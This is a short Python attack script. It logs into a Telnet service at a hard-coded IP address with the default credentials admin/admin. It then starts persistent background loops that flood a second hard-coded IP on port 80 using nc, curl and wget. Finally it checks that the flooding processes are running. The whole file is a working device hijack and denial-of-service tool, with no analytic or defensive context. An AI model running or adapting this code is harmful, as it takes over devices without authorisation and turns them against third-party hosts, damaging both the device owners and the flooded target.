import socket, time

ip, port, user, passwd = "177.75.49.11", 23, "admin", "admin"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
time.sleep(0.3)
data = s.recv(4096).decode(errors="ignore")
if "login" in data.lower():
    s.send((user+"\r\n").encode())
    time.sleep(0.3)
    data = s.recv(4096).decode(errors="ignore")
if "password" in data.lower():
    s.send((passwd+"\r\n").encode())
    time.sleep(0.6)
    data = s.recv(4096).decode(errors="ignore")
try: s.recv(65536)
except: pass

# Method 1: nc flood (no exec needed - shell loop)
s.send(b"nohup sh -c 'while true; do echo A | nc -w1 167.148.195.3 80; done' > /dev/null 2>&1 &\r\n")
time.sleep(1)
try: s.recv(4096)
except: pass

# Method 2: curl flood (no exec needed - shell loop)
s.send(b"nohup sh -c 'while true; do curl -s http://167.148.195.3/ > /dev/null 2>&1; done' > /dev/null 2>&1 &\r\n")
time.sleep(1)
try: s.recv(4096)
except: pass

# Method 3: wget flood
s.send(b"nohup sh -c 'while true; do wget -q -O /dev/null http://167.148.195.3/; done' > /dev/null 2>&1 &\r\n")
time.sleep(1)
try: s.recv(4096)
except: pass

# Check if processes are running
s.send(b"ps | grep -E 'nc|curl|wget' | grep -v grep\r\n")
time.sleep(1)
r = s.recv(4096).decode(errors="ignore")
print("PROCS:", r[:300])
s.close()